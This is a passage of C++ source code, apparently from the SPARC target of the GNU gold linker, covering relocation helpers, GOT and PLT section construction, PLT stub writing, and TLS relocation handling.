typename elfcpp::Elf_types<size>::Elf_Addr value,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
typedef typename elfcpp::Swap<32, true>::Valtype Valtype;
Valtype* wv = reinterpret_cast<Valtype*>(view);
Valtype val = elfcpp::Swap<32, true>::readval(wv);
Valtype reloc = (value + addend);
val &= ~0x1fff;
reloc &= 0x3ff;
reloc |= 0x1c00;
elfcpp::Swap<32, true>::writeval(wv, val | reloc);
}
// R_SPARC_GOTDATA_OP_LOX10: (@gdopoff(Symbol + Addend) & 0x3ff) | 0x1c00
static inline void
gdop_lox10(unsigned char* view,
typename elfcpp::Elf_types<size>::Elf_Addr value)
{
typedef typename elfcpp::Swap<32, true>::Valtype Valtype;
Valtype* wv = reinterpret_cast<Valtype*>(view);
Valtype val = elfcpp::Swap<32, true>::readval(wv);
int32_t reloc = static_cast<int32_t>(value);
if (reloc < 0)
reloc = (reloc & 0x3ff) | 0x1c00;
else
reloc = (reloc & 0x3ff);
val &= ~0x1fff;
elfcpp::Swap<32, true>::writeval(wv, val | reloc);
}
// R_SPARC_LOX10: ((Symbol + Addend) & 0x3ff) | 0x1c00
static inline void
lox10(unsigned char* view,
const Sized_relobj_file<size, big_endian>* object,
const Symbol_value<size>* psymval,
typename elfcpp::Elf_types<size>::Elf_Addr addend)
{
typedef typename elfcpp::Swap<32, true>::Valtype Valtype;
Valtype* wv = reinterpret_cast<Valtype*>(view);
Valtype val = elfcpp::Swap<32, true>::readval(wv);
Valtype reloc = psymval->value(object, addend);
val &= ~0x1fff;
reloc &= 0x3ff;
reloc |= 0x1c00;
elfcpp::Swap<32, true>::writeval(wv, val | reloc);
}
};
// Get the GOT section, creating it if necessary.
template<int size, bool big_endian>
Output_data_got<size, big_endian>*
Target_sparc<size, big_endian>::got_section(Symbol_table* symtab,
Layout* layout)
{
if (this->got_ == NULL)
{
gold_assert(symtab != NULL && layout != NULL);
this->got_ = new Output_data_got<size, big_endian>();
layout->add_output_section_data(".got", elfcpp::SHT_PROGBITS,
(elfcpp::SHF_ALLOC
| elfcpp::SHF_WRITE),
this->got_, ORDER_RELRO, true);
// Define _GLOBAL_OFFSET_TABLE_ at the start of the .got section.
symtab->define_in_output_data("_GLOBAL_OFFSET_TABLE_", NULL,
Symbol_table::PREDEFINED,
this->got_,
0, 0, elfcpp::STT_OBJECT,
elfcpp::STB_LOCAL,
elfcpp::STV_HIDDEN, 0,
false, false);
}
return this->got_;
}
// Get the dynamic reloc section, creating it if necessary.
template<int size, bool big_endian>
typename Target_sparc<size, big_endian>::Reloc_section*
Target_sparc<size, big_endian>::rela_dyn_section(Layout* layout)
{
if (this->rela_dyn_ == NULL)
{
gold_assert(layout != NULL);
this->rela_dyn_ = new Reloc_section(parameters->options().combreloc());
layout->add_output_section_data(".rela.dyn", elfcpp::SHT_RELA,
elfcpp::SHF_ALLOC, this->rela_dyn_,
ORDER_DYNAMIC_RELOCS, false);
}
return this->rela_dyn_;
}
// Get the section to use for IFUNC relocs, creating it if
// necessary. These go in .rela.dyn, but only after all other dynamic
// relocations. They need to follow the other dynamic relocations so
// that they can refer to global variables initialized by those
// relocs.
template<int size, bool big_endian>
typename Target_sparc<size, big_endian>::Reloc_section*
Target_sparc<size, big_endian>::rela_ifunc_section(Layout* layout)
{
if (this->rela_ifunc_ == NULL)
{
// Make sure we have already created the dynamic reloc section.
this->rela_dyn_section(layout);
this->rela_ifunc_ = new Reloc_section(false);
layout->add_output_section_data(".rela.dyn", elfcpp::SHT_RELA,
elfcpp::SHF_ALLOC, this->rela_ifunc_,
ORDER_DYNAMIC_RELOCS, false);
gold_assert(this->rela_dyn_->output_section()
== this->rela_ifunc_->output_section());
}
return this->rela_ifunc_;
}
// A class to handle the PLT data.
template<int size, bool big_endian>
class Output_data_plt_sparc : public Output_section_data
{
public:
typedef Output_data_reloc<elfcpp::SHT_RELA, true,
size, big_endian> Reloc_section;
Output_data_plt_sparc(Layout*);
// Add an entry to the PLT.
void add_entry(Symbol_table* symtab, Layout* layout, Symbol* gsym);
// Add an entry to the PLT for a local STT_GNU_IFUNC symbol.
unsigned int
add_local_ifunc_entry(Symbol_table*, Layout*,
Sized_relobj_file<size, big_endian>* relobj,
unsigned int local_sym_index);
// Return the .rela.plt section data.
const Reloc_section* rel_plt() const
{
return this->rel_;
}
// Return where the IFUNC relocations should go.
Reloc_section*
rela_ifunc(Symbol_table*, Layout*);
void
emit_pending_ifunc_relocs();
// Return whether we created a section for IFUNC relocations.
bool
has_ifunc_section() const
{ return this->ifunc_rel_ != NULL; }
// Return the number of PLT entries.
unsigned int
entry_count() const
{ return this->count_ + this->ifunc_count_; }
// Return the offset of the first non-reserved PLT entry.
static unsigned int
first_plt_entry_offset()
{ return 4 * base_plt_entry_size; }
// Return the size of a PLT entry.
static unsigned int
get_plt_entry_size()
{ return base_plt_entry_size; }
// Return the PLT address to use for a global symbol.
uint64_t
address_for_global(const Symbol*);
// Return the PLT address to use for a local symbol.
uint64_t
address_for_local(const Relobj*, unsigned int symndx);
protected:
void do_adjust_output_section(Output_section* os);
// Write to a map file.
void
do_print_to_mapfile(Mapfile* mapfile) const
{ mapfile->print_output_data(this, _("** PLT")); }
private:
// The size of an entry in the PLT.
static const int base_plt_entry_size = (size == 32 ? 12 : 32);
static const unsigned int plt_entries_per_block = 160;
static const unsigned int plt_insn_chunk_size = 24;
static const unsigned int plt_pointer_chunk_size = 8;
static const unsigned int plt_block_size =
(plt_entries_per_block
* (plt_insn_chunk_size + plt_pointer_chunk_size));
section_offset_type
plt_index_to_offset(unsigned int index)
{
section_offset_type offset;
if (size == 32 || index < 32768)
offset = index * base_plt_entry_size;
else
{
unsigned int ext_index = index - 32768;
offset = (32768 * base_plt_entry_size)
+ ((ext_index / plt_entries_per_block)
* plt_block_size)
+ ((ext_index % plt_entries_per_block)
* plt_insn_chunk_size);
}
return offset;
}
// Set the final size.
void
set_final_data_size()
{
unsigned int full_count = this->entry_count() + 4;
unsigned int extra = (size == 32 ? 4 : 0);
section_offset_type sz = plt_index_to_offset(full_count) + extra;
return this->set_data_size(sz);
}
// Write out the PLT data.
void
do_write(Output_file*);
struct Global_ifunc
{
Reloc_section* rel;
Symbol* gsym;
unsigned int plt_index;
};
struct Local_ifunc
{
Reloc_section* rel;
Sized_relobj_file<size, big_endian>* object;
unsigned int local_sym_index;
unsigned int plt_index;
};
// The reloc section.
Reloc_section* rel_;
// The IFUNC relocations, if necessary. These must follow the
// regular relocations.
Reloc_section* ifunc_rel_;
// The number of PLT entries.
unsigned int count_;
// The number of PLT entries for IFUNC symbols.
unsigned int ifunc_count_;
// Global STT_GNU_IFUNC symbols.
std::vector<Global_ifunc> global_ifuncs_;
// Local STT_GNU_IFUNC symbols.
std::vector<Local_ifunc> local_ifuncs_;
};
// Define the constants as required by C++ standard.
template<int size, bool big_endian>
const int Output_data_plt_sparc<size, big_endian>::base_plt_entry_size;
template<int size, bool big_endian>
const unsigned int
Output_data_plt_sparc<size, big_endian>::plt_entries_per_block;
template<int size, bool big_endian>
const unsigned int Output_data_plt_sparc<size, big_endian>::plt_insn_chunk_size;
template<int size, bool big_endian>
const unsigned int
Output_data_plt_sparc<size, big_endian>::plt_pointer_chunk_size;
template<int size, bool big_endian>
const unsigned int Output_data_plt_sparc<size, big_endian>::plt_block_size;
// Create the PLT section. The ordinary .got section is an argument,
// since we need to refer to the start.
template<int size, bool big_endian>
Output_data_plt_sparc<size, big_endian>::Output_data_plt_sparc(Layout* layout)
: Output_section_data(size == 32 ? 4 : 8), ifunc_rel_(NULL),
count_(0), ifunc_count_(0), global_ifuncs_(), local_ifuncs_()
{
this->rel_ = new Reloc_section(false);
layout->add_output_section_data(".rela.plt", elfcpp::SHT_RELA,
elfcpp::SHF_ALLOC, this->rel_,
ORDER_DYNAMIC_PLT_RELOCS, false);
}
template<int size, bool big_endian>
void
Output_data_plt_sparc<size, big_endian>::do_adjust_output_section(Output_section* os)
{
os->set_entsize(0);
}
// Add an entry to the PLT.
template<int size, bool big_endian>
void
Output_data_plt_sparc<size, big_endian>::add_entry(Symbol_table* symtab,
Layout* layout,
Symbol* gsym)
{
gold_assert(!gsym->has_plt_offset());
section_offset_type plt_offset;
unsigned int index;
if (gsym->type() == elfcpp::STT_GNU_IFUNC
&& gsym->can_use_relative_reloc(false))
{
index = this->ifunc_count_;
plt_offset = plt_index_to_offset(index);
gsym->set_plt_offset(plt_offset);
++this->ifunc_count_;
Reloc_section* rel = this->rela_ifunc(symtab, layout);
struct Global_ifunc gi;
gi.rel = rel;
gi.gsym = gsym;
gi.plt_index = index;
this->global_ifuncs_.push_back(gi);
}
else
{
plt_offset = plt_index_to_offset(this->count_ + 4);
gsym->set_plt_offset(plt_offset);
++this->count_;
gsym->set_needs_dynsym_entry();
this->rel_->add_global(gsym, elfcpp::R_SPARC_JMP_SLOT, this,
plt_offset, 0);
}
// Note that we don't need to save the symbol. The contents of the
// PLT are independent of which symbols are used. The symbols only
// appear in the relocations.
}
template<int size, bool big_endian>
unsigned int
Output_data_plt_sparc<size, big_endian>::add_local_ifunc_entry(
Symbol_table* symtab,
Layout* layout,
Sized_relobj_file<size, big_endian>* relobj,
unsigned int local_sym_index)
{
unsigned int index = this->ifunc_count_;
section_offset_type plt_offset;
plt_offset = plt_index_to_offset(index);
++this->ifunc_count_;
Reloc_section* rel = this->rela_ifunc(symtab, layout);
struct Local_ifunc li;
li.rel = rel;
li.object = relobj;
li.local_sym_index = local_sym_index;
li.plt_index = index;
this->local_ifuncs_.push_back(li);
return plt_offset;
}
// Emit any pending IFUNC plt relocations.
template<int size, bool big_endian>
void
Output_data_plt_sparc<size, big_endian>::emit_pending_ifunc_relocs()
{
// Emit any pending IFUNC relocs.
for (typename std::vector<Global_ifunc>::const_iterator p =
this->global_ifuncs_.begin();
p != this->global_ifuncs_.end();
++p)
{
section_offset_type plt_offset;
unsigned int index;
index = this->count_ + p->plt_index + 4;
plt_offset = this->plt_index_to_offset(index);
p->rel->add_symbolless_global_addend(p->gsym, elfcpp::R_SPARC_JMP_IREL,
this, plt_offset, 0);
}
for (typename std::vector<Local_ifunc>::const_iterator p =
this->local_ifuncs_.begin();
p != this->local_ifuncs_.end();
++p)
{
section_offset_type plt_offset;
unsigned int index;
index = this->count_ + p->plt_index + 4;
plt_offset = this->plt_index_to_offset(index);
p->rel->add_symbolless_local_addend(p->object, p->local_sym_index,
elfcpp::R_SPARC_JMP_IREL,
this, plt_offset, 0);
}
}
// Return where the IFUNC relocations should go in the PLT. These
// follow the non-IFUNC relocations.
template<int size, bool big_endian>
typename Output_data_plt_sparc<size, big_endian>::Reloc_section*
Output_data_plt_sparc<size, big_endian>::rela_ifunc(
Symbol_table* symtab,
Layout* layout)
{
if (this->ifunc_rel_ == NULL)
{
this->ifunc_rel_ = new Reloc_section(false);
layout->add_output_section_data(".rela.plt", elfcpp::SHT_RELA,
elfcpp::SHF_ALLOC, this->ifunc_rel_,
ORDER_DYNAMIC_PLT_RELOCS, false);
gold_assert(this->ifunc_rel_->output_section()
== this->rel_->output_section());
if (parameters->doing_static_link())
{
// A statically linked executable will only have a .rel.plt
// section to hold R_SPARC_IRELATIVE and R_SPARC_JMP_IREL
// relocs for STT_GNU_IFUNC symbols. The library will use
// these symbols to locate the IRELATIVE and JMP_IREL relocs
// at program startup time.
symtab->define_in_output_data("__rela_iplt_start", NULL,
Symbol_table::PREDEFINED,
this->ifunc_rel_, 0, 0,
elfcpp::STT_NOTYPE, elfcpp::STB_GLOBAL,
elfcpp::STV_HIDDEN, 0, false, true);
symtab->define_in_output_data("__rela_iplt_end", NULL,
Symbol_table::PREDEFINED,
this->ifunc_rel_, 0, 0,
elfcpp::STT_NOTYPE, elfcpp::STB_GLOBAL,
elfcpp::STV_HIDDEN, 0, true, true);
}
}
return this->ifunc_rel_;
}
// Return the PLT address to use for a global symbol.
template<int size, bool big_endian>
uint64_t
Output_data_plt_sparc<size, big_endian>::address_for_global(const Symbol* gsym)
{
uint64_t offset = 0;
if (gsym->type() == elfcpp::STT_GNU_IFUNC
&& gsym->can_use_relative_reloc(false))
offset = plt_index_to_offset(this->count_ + 4);
return this->address() + offset + gsym->plt_offset();
}
// Return the PLT address to use for a local symbol. These are always
// IRELATIVE relocs.
template<int size, bool big_endian>
uint64_t
Output_data_plt_sparc<size, big_endian>::address_for_local(
const Relobj* object,
unsigned int r_sym)
{
return (this->address()
+ plt_index_to_offset(this->count_ + 4)
+ object->local_plt_offset(r_sym));
}
static const unsigned int sparc_nop = 0x01000000;
static const unsigned int sparc_sethi_g1 = 0x03000000;
static const unsigned int sparc_branch_always = 0x30800000;
static const unsigned int sparc_branch_always_pt = 0x30680000;
static const unsigned int sparc_mov = 0x80100000;
static const unsigned int sparc_mov_g0_o0 = 0x90100000;
static const unsigned int sparc_mov_o7_g5 = 0x8a10000f;
static const unsigned int sparc_call_plus_8 = 0x40000002;
static const unsigned int sparc_ldx_o7_imm_g1 = 0xc25be000;
static const unsigned int sparc_jmpl_o7_g1_g1 = 0x83c3c001;
static const unsigned int sparc_mov_g5_o7 = 0x9e100005;
// Write out the PLT.
template<int size, bool big_endian>
void
Output_data_plt_sparc<size, big_endian>::do_write(Output_file* of)
{
const off_t offset = this->offset();
const section_size_type oview_size =
convert_to_section_size_type(this->data_size());
unsigned char* const oview = of->get_output_view(offset, oview_size);
unsigned char* pov = oview;
memset(pov, 0, base_plt_entry_size * 4);
pov += this->first_plt_entry_offset();
unsigned int plt_offset = base_plt_entry_size * 4;
const unsigned int count = this->entry_count();
if (size == 64)
{
unsigned int limit;
limit = (count > 32768 ? 32768 : count);
for (unsigned int i = 0; i < limit; ++i)
{
elfcpp::Swap<32, true>::writeval(pov + 0x00,
sparc_sethi_g1 + plt_offset);
elfcpp::Swap<32, true>::writeval(pov + 0x04,
sparc_branch_always_pt +
(((base_plt_entry_size -
(plt_offset + 4)) >> 2) &
0x7ffff));
elfcpp::Swap<32, true>::writeval(pov + 0x08, sparc_nop);
elfcpp::Swap<32, true>::writeval(pov + 0x0c, sparc_nop);
elfcpp::Swap<32, true>::writeval(pov + 0x10, sparc_nop);
elfcpp::Swap<32, true>::writeval(pov + 0x14, sparc_nop);
elfcpp::Swap<32, true>::writeval(pov + 0x18, sparc_nop);
elfcpp::Swap<32, true>::writeval(pov + 0x1c, sparc_nop);
pov += base_plt_entry_size;
plt_offset += base_plt_entry_size;
}
if (count > 32768)
{
unsigned int ext_cnt = count - 32768;
unsigned int blks = ext_cnt / plt_entries_per_block;
for (unsigned int i = 0; i < blks; ++i)
{
unsigned int data_off = (plt_entries_per_block
* plt_insn_chunk_size) - 4;
for (unsigned int j = 0; j < plt_entries_per_block; ++j)
{
elfcpp::Swap<32, true>::writeval(pov + 0x00,
sparc_mov_o7_g5);
elfcpp::Swap<32, true>::writeval(pov + 0x04,
sparc_call_plus_8);
elfcpp::Swap<32, true>::writeval(pov + 0x08,
sparc_nop);
elfcpp::Swap<32, true>::writeval(pov + 0x0c,
sparc_ldx_o7_imm_g1 +
(data_off & 0x1fff));
elfcpp::Swap<32, true>::writeval(pov + 0x10,
sparc_jmpl_o7_g1_g1);
elfcpp::Swap<32, true>::writeval(pov + 0x14,
sparc_mov_g5_o7);
elfcpp::Swap<64, big_endian>::writeval(
pov + 0x4 + data_off,
(elfcpp::Elf_Xword) (oview - (pov + 0x04)));
pov += plt_insn_chunk_size;
data_off -= 16;
}
}
unsigned int sub_blk_cnt = ext_cnt % plt_entries_per_block;
for (unsigned int i = 0; i < sub_blk_cnt; ++i)
{
unsigned int data_off = (sub_blk_cnt
* plt_insn_chunk_size) - 4;
for (unsigned int j = 0; j < plt_entries_per_block; ++j)
{
elfcpp::Swap<32, true>::writeval(pov + 0x00,
sparc_mov_o7_g5);
elfcpp::Swap<32, true>::writeval(pov + 0x04,
sparc_call_plus_8);
elfcpp::Swap<32, true>::writeval(pov + 0x08,
sparc_nop);
elfcpp::Swap<32, true>::writeval(pov + 0x0c,
sparc_ldx_o7_imm_g1 +
(data_off & 0x1fff));
elfcpp::Swap<32, true>::writeval(pov + 0x10,
sparc_jmpl_o7_g1_g1);
elfcpp::Swap<32, true>::writeval(pov + 0x14,
sparc_mov_g5_o7);
elfcpp::Swap<64, big_endian>::writeval(
pov + 0x4 + data_off,
(elfcpp::Elf_Xword) (oview - (pov + 0x04)));
pov += plt_insn_chunk_size;
data_off -= 16;
}
}
}
}
else
{
for (unsigned int i = 0; i < count; ++i)
{
elfcpp::Swap<32, true>::writeval(pov + 0x00,
sparc_sethi_g1 + plt_offset);
elfcpp::Swap<32, true>::writeval(pov + 0x04,
sparc_branch_always +
(((- (plt_offset + 4)) >> 2) &
0x003fffff));
elfcpp::Swap<32, true>::writeval(pov + 0x08, sparc_nop);
pov += base_plt_entry_size;
plt_offset += base_plt_entry_size;
}
elfcpp::Swap<32, true>::writeval(pov, sparc_nop);
pov += 4;
}
gold_assert(static_cast<section_size_type>(pov - oview) == oview_size);
of->write_output_view(offset, oview_size, oview);
}
// Create the PLT section.
template<int size, bool big_endian>
void
Target_sparc<size, big_endian>::make_plt_section(Symbol_table* symtab,
Layout* layout)
{
// Create the GOT sections first.
this->got_section(symtab, layout);
// Ensure that .rela.dyn always appears before .rela.plt This is
// necessary due to how, on Sparc and some other targets, .rela.dyn
// needs to include .rela.plt in it's range.
this->rela_dyn_section(layout);
this->plt_ = new Output_data_plt_sparc<size, big_endian>(layout);
layout->add_output_section_data(".plt", elfcpp::SHT_PROGBITS,
(elfcpp::SHF_ALLOC
| elfcpp::SHF_EXECINSTR
| elfcpp::SHF_WRITE),
this->plt_, ORDER_NON_RELRO_FIRST, false);
// Define _PROCEDURE_LINKAGE_TABLE_ at the start of the .plt section.
symtab->define_in_output_data("_PROCEDURE_LINKAGE_TABLE_", NULL,
Symbol_table::PREDEFINED,
this->plt_,
0, 0, elfcpp::STT_OBJECT,
elfcpp::STB_LOCAL,
elfcpp::STV_HIDDEN, 0,
false, false);
}
// Create a PLT entry for a global symbol.
template<int size, bool big_endian>
void
Target_sparc<size, big_endian>::make_plt_entry(Symbol_table* symtab,
Layout* layout,
Symbol* gsym)
{
if (gsym->has_plt_offset())
return;
if (this->plt_ == NULL)
this->make_plt_section(symtab, layout);
this->plt_->add_entry(symtab, layout, gsym);
}
// Make a PLT entry for a local STT_GNU_IFUNC symbol.
template<int size, bool big_endian>
void
Target_sparc<size, big_endian>::make_local_ifunc_plt_entry(
Symbol_table* symtab,
Layout* layout,
Sized_relobj_file<size, big_endian>* relobj,
unsigned int local_sym_index)
{
if (relobj->local_has_plt_offset(local_sym_index))
return;
if (this->plt_ == NULL)
this->make_plt_section(symtab, layout);
unsigned int plt_offset = this->plt_->add_local_ifunc_entry(symtab, layout,
relobj,
local_sym_index);
relobj->set_local_plt_offset(local_sym_index, plt_offset);
}
// Return the number of entries in the PLT.
template<int size, bool big_endian>
unsigned int
Target_sparc<size, big_endian>::plt_entry_count() const
{
if (this->plt_ == NULL)
return 0;
return this->plt_->entry_count();
}
// Return the offset of the first non-reserved PLT entry.
template<int size, bool big_endian>
unsigned int
Target_sparc<size, big_endian>::first_plt_entry_offset() const
{
return Output_data_plt_sparc<size, big_endian>::first_plt_entry_offset();
}
// Return the size of each PLT entry.
template<int size, bool big_endian>
unsigned int
Target_sparc<size, big_endian>::plt_entry_size() const
{
return Output_data_plt_sparc<size, big_endian>::get_plt_entry_size();
}
// Create a GOT entry for the TLS module index.
template<int size, bool big_endian>
unsigned int
Target_sparc<size, big_endian>::got_mod_index_entry(
Symbol_table* symtab,
Layout* layout,
Sized_relobj_file<size, big_endian>* object)
{
if (this->got_mod_index_offset_ == -1U)
{
gold_assert(symtab != NULL && layout != NULL && object != NULL);
Reloc_section* rela_dyn = this->rela_dyn_section(layout);
Output_data_got<size, big_endian>* got;
unsigned int got_offset;
got = this->got_section(symtab, layout);
got_offset = got->add_constant(0);
rela_dyn->add_local(object, 0,
(size == 64 ?
elfcpp::R_SPARC_TLS_DTPMOD64 :
elfcpp::R_SPARC_TLS_DTPMOD32), got,
got_offset, 0);
got->add_constant(0);
this->got_mod_index_offset_ = got_offset;
}
return this->got_mod_index_offset_;
}
// Optimize the TLS relocation type based on what we know about the
// symbol. IS_FINAL is true if the final address of this symbol is
// known at link time.
static tls::Tls_optimization
optimize_tls_reloc(bool is_final, int r_type)
{
// If we are generating a shared library, then we can't do anything
// in the linker.
if (parameters->options().shared())
return tls::TLSOPT_NONE;
switch (r_type)
{
case elfcpp::R_SPARC_TLS_GD_HI22: // Global-dynamic
case elfcpp::R_SPARC_TLS_GD_LO10:
case elfcpp::R_SPARC_TLS_GD_ADD:
case elfcpp::R_SPARC_TLS_GD_CALL:
// These are General-Dynamic which permits fully general TLS
// access. Since we know that we are generating an executable,
// we can convert this to Initial-Exec. If we also know that
// this is a local symbol, we can further switch to Local-Exec.
if (is_final)
return tls::TLSOPT_TO_LE;
return tls::TLSOPT_TO_IE;
case elfcpp::R_SPARC_TLS_LDM_HI22: // Local-dynamic
case elfcpp::R_SPARC_TLS_LDM_LO10:
case elfcpp::R_SPARC_TLS_LDM_ADD:
case elfcpp::R_SPARC_TLS_LDM_CALL:
// This is Local-Dynamic, which refers to a local symbol in the
// dynamic TLS block. Since we know that we generating an
// executable, we can switch to Local-Exec.
return tls::TLSOPT_TO_LE;
case elfcpp::R_SPARC_TLS_LDO_HIX22: // Alternate local-dynamic
case elfcpp::R_SPARC_TLS_LDO_LOX10:
case elfcpp::R_SPARC_TLS_LDO_ADD:
// Another type of Local-Dynamic relocation.
return tls::TLSOPT_TO_LE;
case elfcpp::R_SPARC_TLS_IE_HI22: // Initial-exec
case elfcpp::R_SPARC_TLS_IE_LO10:
case elfcpp::R_SPARC_TLS_IE_LD:
case elfcpp::R_SPARC_TLS_IE_LDX:
case elfcpp::R_SPARC_TLS_IE_ADD:
// These are Initial-Exec relocs which get the thread offset
// from the GOT. If we know that we are linking against the
// local symbol, we can switch to Local-Exec, which links the
// thread offset into the instruction.
if (is_final)
return tls::TLSOPT_TO_LE;
return tls::TLSOPT_NONE;
case elfcpp::R_SPARC_TLS_LE_HIX22: // Local-exec
case elfcpp::R_SPARC_TLS_LE_LOX10:
// When we already have Local-Exec, there is nothing further we
// can do.
return tls::TLSOPT_NONE;
default:
gold_unreachable();
}
}
// Get the Reference_flags for a particular relocation.
template<int size, bool big_endian>
int
Target_sparc<size, big_endian>::Scan::get_reference_flags(unsigned int r_type)
{
r_type &= 0xff;
switch (r_type)
{
case elfcpp::R_SPARC_NONE:
case elfcpp::R_SPARC_REGISTER:
case elfcpp::R_SPARC_GNU_VTINHERIT:
case elfcpp::R_SPARC_GNU_VTENTRY:
// No symbol reference.
return 0;
case elfcpp::R_SPARC_UA64:
case elfcpp::R_SPARC_64:
case elfcpp::R_SPARC_HIX22:
case elfcpp::R_SPARC_LOX10:
case elfcpp::R_SPARC_H34:
case elfcpp::R_SPARC_H44:
case elfcpp::R_SPARC_M44:
case elfcpp::R_SPARC_L44:
case elfcpp::R_SPARC_HH22:
case elfcpp::R_SPARC_HM10:
case elfcpp::R_SPARC_LM22:
case elfcpp::R_SPARC_HI22:
case elfcpp::R_SPARC_LO10:
case elfcpp::R_SPARC_OLO10:
case elfcpp::R_SPARC_UA32:
case elfcpp::R_SPARC_32:
case elfcpp::R_SPARC_UA16:
case elfcpp::R_SPARC_16:
case elfcpp::R_SPARC_11:
case elfcpp::R_SPARC_10:
case elfcpp::R_SPARC_8:
case elfcpp::R_SPARC_7:
case elfcpp::R_SPARC_6:
case elfcpp::R_SPARC_5:
return Symbol::ABSOLUTE_REF;
case elfcpp::R_SPARC_DISP8:
case elfcpp::R_SPARC_DISP16:
case elfcpp::R_SPARC_DISP32:
case elfcpp::R_SPARC_DISP64:
case elfcpp::R_SPARC_PC_HH22:
case elfcpp::R_SPARC_PC_HM10:
case elfcpp::R_SPARC_PC_LM22:
case elfcpp::R_SPARC_PC10:
case elfcpp::R_SPARC_PC22:
case elfcpp::R_SPARC_WDISP30:
case elfcpp::R_SPARC_WDISP22:
case elfcpp::R_SPARC_WDISP19:
case elfcpp::R_SPARC_WDISP16:
case elfcpp::R_SPARC_WDISP10:
return Symbol::RELATIVE_REF;
case elfcpp::R_SPARC_PLT64:
case elfcpp::R_SPARC_PLT32:
case elfcpp::R_SPARC_HIPLT22:
case elfcpp::R_SPARC_LOPLT10:
case elfcpp::R_SPARC_PCPLT10:
return Symbol::FUNCTION_CALL | Symbol::ABSOLUTE_REF;
case elfcpp::R_SPARC_PCPLT32:
case elfcpp::R_SPARC_PCPLT22:
case elfcpp::R_SPARC_WPLT30:
return Symbol::FUNCTION_CALL | Symbol::RELATIVE_REF;
case elfcpp::R_SPARC_GOTDATA_OP:
case elfcpp::R_SPARC_GOTDATA_OP_HIX22:
case elfcpp::R_SPARC_GOTDATA_OP_LOX10:
case elfcpp::R_SPARC_GOT10:
case elfcpp::R_SPARC_GOT13:
case elfcpp::R_SPARC_GOT22:
// Absolute in GOT.
return Symbol::ABSOLUTE_REF;
case elfcpp::R_SPARC_TLS_GD_HI22: // Global-dynamic
case elfcpp::R_SPARC_TLS_GD_LO10:
case elfcpp::R_SPARC_TLS_GD_ADD:
case elfcpp::R_SPARC_TLS_GD_CALL:
case elfcpp::R_SPARC_TLS_LDM_HI22: // Local-dynamic
case elfcpp::R_SPARC_TLS_LDM_LO10:
case elfcpp::R_SPARC_TLS_LDM_ADD:
case elfcpp::R_SPARC_TLS_LDM_CALL:
case elfcpp::R_SPARC_TLS_LDO_HIX22: // Alternate local-dynamic
case elfcpp::R_SPARC_TLS_LDO_LOX10:
case elfcpp::R_SPARC_TLS_LDO_ADD:
case elfcpp::R_SPARC_TLS_LE_HIX22:
case elfcpp::R_SPARC_TLS_LE_LOX10:
case elfcpp::R_SPARC_TLS_IE_HI22: // Initial-exec
case elfcpp::R_SPARC_TLS_IE_LO10:
case elfcpp::R_SPARC_TLS_IE_LD:
case elfcpp::R_SPARC_TLS_IE_LDX:
case elfcpp::R_SPARC_TLS_IE_ADD:
return Symbol::TLS_REF;
case elfcpp::R_SPARC_COPY:
case elfcpp::R_SPARC_GLOB_DAT:
case elfcpp::R_SPARC_JMP_SLOT:
case elfcpp::R_SPARC_JMP_IREL:
case elfcpp::R_SPARC_RELATIVE:
case elfcpp::R_SPARC_IRELATIVE:
case elfcpp::R_SPARC_TLS_DTPMOD64:
case elfcpp::R_SPARC_TLS_DTPMOD32:
case elfcpp::R_SPARC_TLS_DTPOFF64:
case elfcpp::R_SPARC_TLS_DTPOFF32:
case elfcpp::R_SPARC_TLS_TPOFF64:
case elfcpp::R_SPARC_TLS_TPOFF32:
default:
// Not expected. We will give an error later.
return 0;
}
}
// Generate a PLT entry slot for a call to __tls_get_addr
template<int size, bool big_endian>
void
Target_sparc<size, big_endian>::Scan::generate_tls_call(Symbol_table* symtab,
Layout* layout,
Target_sparc<size, big_endian>* target)
{
Symbol* gsym = target->tls_get_addr_sym(symtab);
target->make_plt_entry(symtab, layout, gsym);
}
// Report an unsupported relocation against a local symbol.
template<int size, bool big_endian>
void
Target_sparc<size, big_endian>::Scan::unsupported_reloc_local(
Sized_relobj_file<size, big_endian>* object,
unsigned int r_type)
{
gold_error(_("%s: unsupported reloc %u against local symbol"),
object->name().c_str(), r_type);
}
// We are about to emit a dynamic relocation of type R_TYPE. If the
// dynamic linker does not support it, issue an error.
template<int size, bool big_endian>
void
Target_sparc<size, big_endian>::Scan::check_non_pic(Relobj* object, unsigned int r_type)
{
gold_assert(r_type != elfcpp::R_SPARC_NONE);
if (size == 64)
{
switch (r_type)
{
// These are the relocation types supported by glibc for sparc 64-bit.
case elfcpp::R_SPARC_RELATIVE:
case elfcpp::R_SPARC_IRELATIVE:
case elfcpp::R_SPARC_COPY:
case elfcpp::R_SPARC_64:
case elfcpp::R_SPARC_GLOB_DAT:
case elfcpp::R_SPARC_JMP_SLOT:
case elfcpp::R_SPARC_JMP_IREL:
case elfcpp::R_SPARC_TLS_DTPMOD64:
case elfcpp::R_SPARC_TLS_DTPOFF64:
case elfcpp::R_SPARC_TLS_TPOFF64:
case elfcpp::R_SPARC_TLS_LE_HIX22:
case elfcpp::R_SPARC_TLS_LE_LOX10:
case elfcpp::R_SPARC_8:
case elfcpp::R_SPARC_16:
case elfcpp::R_SPARC_DISP8:
case elfcpp::R_SPARC_DISP16:
case elfcpp::R_SPARC_DISP32:
case elfcpp::R_SPARC_WDISP30:
case elfcpp::R_SPARC_LO10:
case elfcpp::R_SPARC_HI22:
case elfcpp::R_SPARC_OLO10:
case elfcpp::R_SPARC_H34:
case elfcpp::R_SPARC_H44:
case elfcpp::R_SPARC_M44:
case elfcpp::R_SPARC_L44:
case elfcpp::R_SPARC_HH22:
case elfcpp::R_SPARC_HM10:
case elfcpp::R_SPARC_LM22:
case elfcpp::R_SPARC_UA16:
case elfcpp::R_SPARC_UA32:
case elfcpp::R_SPARC_UA64:
return;
default:
break;
}
}
else
{
switch (r_type)
{
// These are the relocation types supported by glibc for sparc 32-bit.
case elfcpp::R_SPARC_RELATIVE:
case elfcpp::R_SPARC_IRELATIVE:
case elfcpp::R_SPARC_COPY:
case elfcpp::R_SPARC_GLOB_DAT:
case elfcpp::R_SPARC_32:
case elfcpp::R_SPARC_JMP_SLOT:
case elfcpp::R_SPARC_JMP_IREL:
case elfcpp::R_SPARC_TLS_DTPMOD32:
case elfcpp::R_SPARC_TLS_DTPOFF32:
case elfcpp::R_SPARC_TLS_TPOFF32:
case elfcpp::R_SPARC_TLS_LE_HIX22:
case elfcpp::R_SPARC_TLS_LE_LOX10:
case elfcpp::R_SPARC_8:
case elfcpp::R_SPARC_16:
